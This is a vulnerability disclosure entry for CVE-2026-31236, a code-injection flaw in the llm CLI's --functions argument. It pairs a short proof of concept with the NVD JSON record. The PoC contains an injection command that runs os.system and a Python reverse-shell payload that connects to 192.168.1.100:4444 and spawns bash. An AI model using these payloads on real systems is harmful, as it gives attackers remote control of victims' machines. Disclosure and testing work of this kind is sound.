CVE-2026-31236

# PoC for CVE-2026-31236 # The vulnerability allows arbitrary Python code execution via the --functions argument. # Scenario: An attacker tricks a victim into running the following command. # Command to execute a simple shell command (e.g., creating a file) llm --functions "import os; os.system('touch /tmp/CVE-2026-31236_POC.txt')" # Scenario: Establishing a reverse shell (simulated) # Payload to connect back to attacker # payload = """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.1.100',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);""" # llm --functions "<PAYLOAD>"

{"cve": {"id": "CVE-2026-31236", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:16:51.977", "lastModified": "2026-05-14T20:17:03.103", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "The llm CLI tool thru 0.27.1 contains a critical code injection vulnerability via its --functions command-line argument. This argument is intended to allow users to provide custom Python function definitions. However, the tool directly executes the provided code using the unsafe exec() function without any sanitization, sandboxing, or security restrictions. An attacker can exploit this by crafting a malicious llm command with arbitrary Python code in the --functions argument and using social engineering to trick a victim into running it. This leads to arbitrary code execution on the victim's system, potentially granting the attacker full control."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://github.com/simonw/llm", "source": "[email protected]"}, {"url": "https://www.notion.so/CVE-2026-31236-35d1e139318881a4a0f1fffcf671f7e3", "source": "[email protected]"}]}}